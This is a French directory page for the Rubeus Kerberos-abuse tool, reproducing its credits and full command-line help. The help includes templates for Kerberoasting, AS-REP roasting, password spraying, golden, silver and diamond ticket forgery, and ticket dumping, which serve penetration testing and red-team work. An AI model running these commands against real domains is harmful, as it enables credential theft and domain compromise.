Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Rubeus — Essayer d'apprivoiser le chien à trois têtes. | Kitploit
Outils/GitHubGitHub/ghostpack/rubeus
Escalade de PrivilègesMécanismes de PersistanceAnalyse des VulnérabilitésExploitationMouvement LatéralPost-ExploitationTests d'IntrusionAuthentificationRed TeamingTop en Mouvement Latéral n°3
5.1k89859il y a 9 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Top en Mécanismes de Persistance n°17
Top en Post-Exploitation n°5
Top en Red Teaming n°11
GitHubghostpack/rubeus

Rubeus

Essayer d'apprivoiser le chien à trois têtes.

Voir le dépôt

Rubeus


Rubeus est un ensemble d'outils C# pour l'interaction brute avec Kerberos et ses abus. Il est fortement adapté du projet Kekeo (licence CC BY-NC-SA 4.0) de Benjamin Delpy et du projet MakeMeEnterpriseAdmin (licence GPL v3.0) de Vincent LE TOUX. Le mérite revient entièrement à Benjamin et Vincent pour avoir résolu les composants difficiles de l'armement – sans leurs travaux antérieurs, ce projet n'existerait pas.

Charlie Clark et Ceri Coburn ont tous deux apporté des contributions significatives en tant que co-développeurs de la base de code de Rubeus. Elad Shamir a contribué un travail essentiel pour la délégation contrainte basée sur les ressources. Leur travail est très apprécié !

Rubeus utilise également une bibliothèque C# d'analyse/encodage ASN.1 de Thomas Pornin nommée DDer qui a été publiée sous une licence « de type MIT ». Un grand merci à Thomas pour son code propre et stable !

Le code PKINIT est fortement adapté de l'outil Bruce de @SteveSyfuhs. Bruce a rendu la RFC4556 (PKINIT) beaucoup plus facile à comprendre. Un grand merci à Steve !

L'encodage et le décodage NDR pour le PAC Kerberos sont basés sur la bibliothèque NtApiDotNet de @tiraniddo, merci James.

La méthode KerberosRequestorSecurityToken.GetRequest pour le Kerberoasting a été contribuée à PowerView (puis intégrée dans Rubeus) par @machosec.

@harmj0y est l'auteur principal de cette base de code.

Rubeus est sous licence BSD 3-Clause.

Table des matières

  • Rubeus
    • Table des matières
    • Contexte
      • Utilisation en ligne de commande
      • Notes OpSec
        • Vue d'ensemble
        • Armement
        • Exemple : Extraction d'identifiants
        • Exemple : Over-pass-the-hash
    • Demandes et renouvellements de tickets
      • asktgt
      • asktgs
      • renew
      • brute|spray
    • Abus de délégation contrainte
      • s4u
    • Falsification de tickets
      • golden
      • silver
      • diamond
    • Gestion des tickets
      • ptt
      • purge
      • describe
    • Extraction et récolte de tickets
      • triage
      • klist
      • dump
      • tgtdeleg
      • monitor
      • harvest
    • Roasting
      • kerberoast
        • OpSec du kerberoasting
        • Exemples
      • asreproast
    • Divers
      • createnetonly
      • changepw
      • hash
      • tgssub
      • currentluid
      • logonsession
      • asrep2kirbi

Contexte

Utilisation en ligne de commande

root@kitploit:~
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3


 Demandes et renouvellements de tickets :

    Récupérer un TGT basé sur un mot de passe/hash d'utilisateur, éventuellement le sauvegarder dans un fichier ou l'appliquer à la session de connexion actuelle ou à un LUID spécifique :
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Récupérer un TGT basé sur un mot de passe/hash d'utilisateur, éventuellement le sauvegarder dans un fichier ou l'appliquer à la session de connexion actuelle ou à un LUID spécifique :
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Récupérer un TGT basé sur un mot de passe/hash d'utilisateur, démarrer un processus /netonly et appliquer le ticket au nouveau processus/session de connexion :
        Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Récupérer un TGT en utilisant un certificat PCKS12, démarrer un processus /netonly et appliquer le ticket au nouveau processus/session de connexion :
        Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Récupérer un TGT en utilisant un certificat du magasin de l'utilisateur (carte à puce) en spécifiant l'empreinte ou le sujet du certificat, démarrer un processus /netonly et appliquer le ticket au nouveau processus/session de connexion :
        Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]

    Récupérer un TGT approprié pour changer un compte dont le mot de passe a expiré en utilisant la commande changepw
        Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Demander un TGT sans envoyer de données de pré-authentification :
        Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

    Demander un ticket de service en utilisant une AS-REQ :
        Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]

   Récupérer un ticket de service pour un ou plusieurs SPN, éventuellement en sauvegardant ou en appliquant le ticket :
        Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

Récupérer un ticket de service en utilisant les options de requête de liste de clés Kerberos :
    	Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

Récupérer un ticket de compte de service géré délégué :
    	Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]

    Renouveler un TGT, éventuellement en appliquant le ticket, en le sauvegardant, ou en le renouvelant automatiquement jusqu'à sa limite renew-till :
        Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

    Effectuer une attaque de force brute de mot de passe basée sur Kerberos :
        Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

    Effectuer un scan des comptes ne nécessitant pas de pré-authentification :
        Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]


 Abus de délégation contrainte :

    Effectuer un abus de délégation contrainte S4U :
        Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]

    Effectuer un abus de délégation contrainte S4U entre domaines :
        Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]


 Falsification de tickets :

    Forger un golden ticket en utilisant LDAP pour rassembler les informations pertinentes :
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]

    Forger un golden ticket en utilisant LDAP pour rassembler les informations pertinentes mais en remplaçant explicitement certaines valeurs :
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]

    Forger un golden ticket, en définissant les valeurs explicitement :
        Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]

    Forger un silver ticket en utilisant LDAP pour rassembler les informations pertinentes :
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    Forger un silver ticket en utilisant LDAP pour rassembler les informations pertinentes, en utilisant la clé KRBTGT pour calculer le KDCChecksum et le TicketChecksum :
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    Forger un silver ticket en utilisant LDAP pour rassembler les informations pertinentes mais en remplaçant explicitement certaines valeurs :
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

    Forger un silver ticket en utilisant LDAP pour rassembler les informations pertinentes et inclure une section PAC d'informations de délégation S4U :
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]

    Forger un silver ticket en utilisant LDAP pour rassembler les informations pertinentes et en définissant un cname et un crealm différents :
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]

    Forger un silver ticket, en définissant les valeurs explicitement :
        Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]

	Forger un diamond TGT en demandant un TGT basé sur un mot de passe/hash d'utilisateur :
		Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]

	Forger un diamond TGT en demandant un TGT en utilisant un certificat PCKS12 :
		Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]

	Forger un diamond TGT en demandant un TGT en utilisant tgtdeleg :
		Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]


 Gestion des tickets :

    Soumettre un TGT, éventuellement en ciblant un LUID spécifique (si élevé) :
        Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]

    Purger les tickets de la session de connexion actuelle, éventuellement en ciblant un LUID spécifique (si élevé) :
        Rubeus.exe purge [/luid:LOGINID]

    Analyser et décrire un ticket (ticket de service ou TGT) :
        Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]


 Extraction et récolte de tickets :

    Trier tous les tickets actuels (si élevé, lister pour tous les utilisateurs), éventuellement en ciblant un LUID, nom d'utilisateur ou service spécifique :
        Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    Lister tous les tickets actuels en détail (si élevé, lister pour tous les utilisateurs), éventuellement en ciblant un LUID spécifique :
        Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

    Vider toutes les données de tickets actuelles (si élevé, vider pour tous les utilisateurs), éventuellement en ciblant un service/LUID spécifique :
        Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]

    Récupérer un TGT .kirbi utilisable pour l'utilisateur actuel (avec la clé de session) sans élévation en abusant de l'API GSS-API Kerberos, en simulant une délégation :
        Rubeus.exe tgtdeleg [/target:SPN]Surveiller les nouveaux TGTs toutes les /interval SECONDES (par défaut 60) :
        Rubeus.exe monitor [/interval:SECONDES] [/targetuser:UTILISATEUR] [/nowrap] [/registry:NOMLOGICIEL] [/runfor:SECONDES]

    Surveiller les nouveaux TGTs toutes les /monitorinterval SECONDES (par défaut 60), renouveler automatiquement les TGTs et afficher le cache de travail toutes les /displayinterval SECONDES (par défaut 1200) :
        Rubeus.exe harvest [/monitorinterval:SECONDES] [/displayinterval:SECONDES] [/targetuser:UTILISATEUR] [/nowrap] [/registry:NOMLOGICIEL] [/runfor:SECONDES]


 Roasting:

    Effectuer un Kerberoasting :
        Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:UTILISATEUR] [/domain:DOMAINE] [/dc:CONTRÔLEUR_DOMAINE] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Effectuer un Kerberoasting en sortant les hashs dans un fichier :
        Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:UTILISATEUR] [/domain:DOMAINE] [/dc:CONTRÔLEUR_DOMAINE] [/ou:"OU=,..."] [/ldaps]

    Effectuer un Kerberoasting en sortant les hashs au format fichier, mais vers la console :
        Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:UTILISATEUR] [/domain:DOMAINE] [/dc:CONTRÔLEUR_DOMAINE] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Effectuer un Kerberoasting avec des identifiants alternatifs :
        Rubeus.exe kerberoast /creduser:DOMAINE.FQDN\UTILISATEUR /credpassword:MOTDEPASSE [/spn:"blah/blah"] [/user:UTILISATEUR] [/domain:DOMAINE] [/dc:CONTRÔLEUR_DOMAINE] [/ou:"OU=,..."] [/ldaps] [/nowrap]

    Effectuer un Kerberoasting avec un TGT existant :
        Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FICHIER.KIRBI> [/nowrap]

    Effectuer un Kerberoasting avec un TGT existant en utilisant un principal d'entreprise :
        Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FICHIER.KIRBI> [/nowrap]

    Effectuer un Kerberoasting avec un TGT existant et réessayer automatiquement avec le principal d'entreprise en cas d'échec :
        Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FICHIER.KIRBI> /autoenterprise [/ldaps] [/nowrap]

    Effectuer un Kerberoasting en utilisant le ticket tgtdeleg pour demander des tickets de service – demande RC4 pour les comptes AES :
        Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]

    Effectuer un Kerberoasting « opsec », en utilisant tgtdeleg et en filtrant les comptes compatibles AES :
        Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]

    Lister les statistiques sur les comptes Kerberoastables trouvés sans envoyer de demandes de tickets :
        Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]

    Effectuer un Kerberoasting, en demandant des tickets uniquement pour les comptes avec un admin count de 1 (filtre LDAP personnalisé) :
        Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]

    Effectuer un Kerberoasting, en demandant des tickets uniquement pour les comptes dont le mot de passe a été défini pour la dernière fois entre le 31-01-2005 et le 29-03-2010, en retournant jusqu'à 5 tickets de service :
        Rubeus.exe kerberoast /pwdsetafter:31-01-2005 /pwdsetbefore:29-03-2010 /resultlimit:5 [/ldaps] [/nowrap]

    Effectuer un Kerberoasting, avec un délai de 5000 millisecondes et une gigue de 30 % :
        Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]

    Effectuer un Kerberoasting AES :
        Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]

    Effectuer un Kerberoasting en utilisant un compte sans pré-authentification en envoyant des AS-REQ :
        Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> /nopreauth:UTILISATEUR /domain:DOMAINE [/dc:CONTRÔLEUR_DOMAINE] [/nowrap]

    Effectuer un AS-REP « roasting » pour tout utilisateur sans pré-authentification :
        Rubeus.exe asreproast [/user:UTILISATEUR] [/domain:DOMAINE] [/dc:CONTRÔLEUR_DOMAINE] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]

    Effectuer un AS-REP « roasting » pour tout utilisateur sans pré-authentification, en sortant le format Hashcat dans un fichier :
        Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:UTILISATEUR] [/domain:DOMAINE] [/dc:CONTRÔLEUR_DOMAINE] [/ou:"OU=,..."] [/ldaps] [/des]

    Effectuer un AS-REP « roasting » pour tout utilisateur sans pré-authentification en utilisant des identifiants alternatifs :
        Rubeus.exe asreproast /creduser:DOMAINE.FQDN\UTILISATEUR /credpassword:MOTDEPASSE [/user:UTILISATEUR] [/domain:DOMAINE] [/dc:CONTRÔLEUR_DOMAINE] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]


 Divers :

    Créer un programme caché (sauf si /show est passé) avec des identifiants /netonly aléatoires, affichant le PID et le LUID :
        Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FICHIER.KIRBI]

    Réinitialiser le mot de passe d'un utilisateur à partir d'un TGT fourni (AoratoPw) :
        Rubeus.exe changepw </ticket:BASE64 | /ticket:FICHIER.KIRBI> /new:MOTDEPASSE [/dc:CONTRÔLEUR_DOMAINE] [/targetuser:DOMAINE\NOMUTILISATEUR]

    Calculer les hashs rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1 et des_cbc_md5 :
        Rubeus.exe hash /password:X [/user:UTILISATEUR] [/domain:DOMAINE]

    Substituer un sname ou SPN dans un ticket de service existant :
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:FICHIER.KIRBI> /altservice:ldap [/srealm:DOMAINE] [/ptt] [/luid] [/nowrap]
        Rubeus.exe tgssub </ticket:BASE64 | /ticket:FICHIER.KIRBI> /altservice:cifs/ordinateur.domaine.com [/srealm:DOMAINE] [/ptt] [/luid] [/nowrap]

    Afficher le LUID de l'utilisateur actuel :
        Rubeus.exe currentluid

    Afficher les informations sur la session d'ouverture de session (actuelle) ou (cible), par défaut toutes lisibles :
        Rubeus.exe logonsession [/current] [/luid:X]

    L'argument "/consoleoutfile:C:\FICHIER.txt" redirige toute la sortie console vers le fichier spécifié.

    Le drapeau "/nowrap" empêche tout blob de ticket base64 d'être enroulé en colonnes pour toute fonction.

    Le drapeau "/debug" affiche les informations de débogage ASN.1.
	
    Convertir une AS-REP et une clé en Kirbi :
        Rubeus.exe asrep2kirbi /asrep:<BASE64 | CHEMIN_FICHIER> </key:BASE64 | /keyhex:CHAÎNEHEX> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]

    Insérer une nouvelle clé de session DES dans un Kirbi :
        Rubeus.exe kirbi /kirbi:<BASE64 | CHEMIN_FICHIER> /sessionkey:CLÉSESSION /sessionetype:DES|RC4|AES128|AES256 [/ptt] [/luid:X] [outfile:NOMFICHIER] [/nowrap]


 REMARQUE : Les blobs de ticket Base64 peuvent être décodés avec :

    [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))

Notes Opsec

Cette section couvre quelques notes sur la sécurité opérationnelle de l'utilisation de Rubeus dans un environnement, avec des exemples techniques comparant/contrastant certaines de ses approches avec Mimikatz. Le contenu ici sera développé à l'avenir.

Aperçu

